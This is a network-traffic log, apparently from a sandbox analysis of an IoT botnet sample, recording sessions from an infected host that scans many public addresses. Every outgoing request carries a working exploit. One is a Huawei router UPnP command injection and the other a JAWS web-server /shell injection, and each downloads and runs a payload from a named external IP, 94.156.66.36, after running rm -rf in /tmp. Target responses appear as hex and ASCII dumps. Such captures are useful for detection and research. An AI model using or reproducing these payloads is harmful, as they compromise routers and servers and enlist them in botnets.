57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:33.429446936 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:45.461055994 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.15	43582	18.173.241.216	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:23.766719103 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.277781963 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.365415096 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:36:24 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.15	45862	50.17.201.7	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:23.770576954 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.277789116 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.371989012 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:36:24 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.15	49456	209.50.54.16	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:23.781794071 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:23.886730909 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.15	39148	66.225.154.222	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:23.796627998 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:23.916238070 CET	148	IN	HTTP/1.0 302 Moved Temporarily Location: https:///shell?cd+/tmp;rm+-rf+*;wget+ Server: BigIP Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.15	34520	104.140.93.140	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:23.835743904 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:23.994869947 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Mar 2024 08:36:23 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.15	46598	23.216.248.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:23.839993000 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.004163027 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:23 GMT Date: Wed, 13 Mar 2024 08:36:23 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 34 34 66 36 35 35 66 26 23 34 36 3b 31 37 31 30 33 31 38 39 38 33 26 23 34 36 3b 32 33 63 36 34 38 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.544f655f.1710318983.23c6487</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.15	35752	38.25.44.98	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:23.862209082 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.15	60504	187.103.57.101	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:23.891634941 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.111377001 CET	301	IN	HTTP/1.1 200 OK Content-Type:text/html Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Mar 13, 2024 09:36:24.111552954 CET	1286	IN	Data Raw: 63 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: cb8<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 13, 2024 09:36:24.111680984 CET	1286	IN	Data Raw: 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 Data Ascii: return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshortValid(List[i])) { return false; } } return true; }function IsIPv6
Mar 13, 2024 09:36:24.112138033 CET	732	IN	Data Raw: 72 65 73 73 56 61 6c 69 64 28 48 6f 73 74 49 6e 66 6f 29 29 0d 0a 7b 0d 0a 2f 2a 20 68 6f 73 74 20 73 74 72 69 6e 67 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 70 6f 72 74 20 2a 2f 0d 0a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 Data Ascii: ressValid(HostInfo)){/* host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}else{var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.15	56578	191.61.154.23	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:23.899173021 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.597664118 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:25.973609924 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.15	52552	170.75.210.35	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:23.995522976 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.106144905 CET	148	IN	HTTP/1.0 302 Moved Temporarily Location: https:///shell?cd+/tmp;rm+-rf+*;wget+ Server: BigIP Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.15	60816	93.115.168.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:24.004041910 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.167341948 CET	207	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.15	60132	156.17.92.36	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:24.199428082 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.406471014 CET	1280	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 6838 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 2f 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 2e 38 35 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 70 70 6c 69 63 61 74 69 6f 6e 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 73 73 2f 6c 61 74 6f 66 6f 6e 74 73 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 38 65 62 65 62 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 4c 61 74 6f 2c 20 27 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 27 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 37 30 38 30 38 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 39 39 33 64 31 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 2c 0d 0a 20 20 20 20 20 20 20 20 73 74 72 6f 6e 67 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 70 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 2c 20 6f 70 74 67 72 6f 75 70 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <base href="/login/"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=.85"> <meta http-equiv="pragma" content="no-cache"> <title>Application Blocked</title> <link rel="stylesheet" href="css/latofonts.css"> <style> body { background-color: #e8ebeb; font-family: Lato, 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 16px; margin: 0; color: #070808; } a:link { color: #0993d1; } b, strong { font-weight: 500; } p { line-height: 1.2em; } button { overflow: visible; } button, input, optgroup, select, textarea { color: inherit; font: inherit;
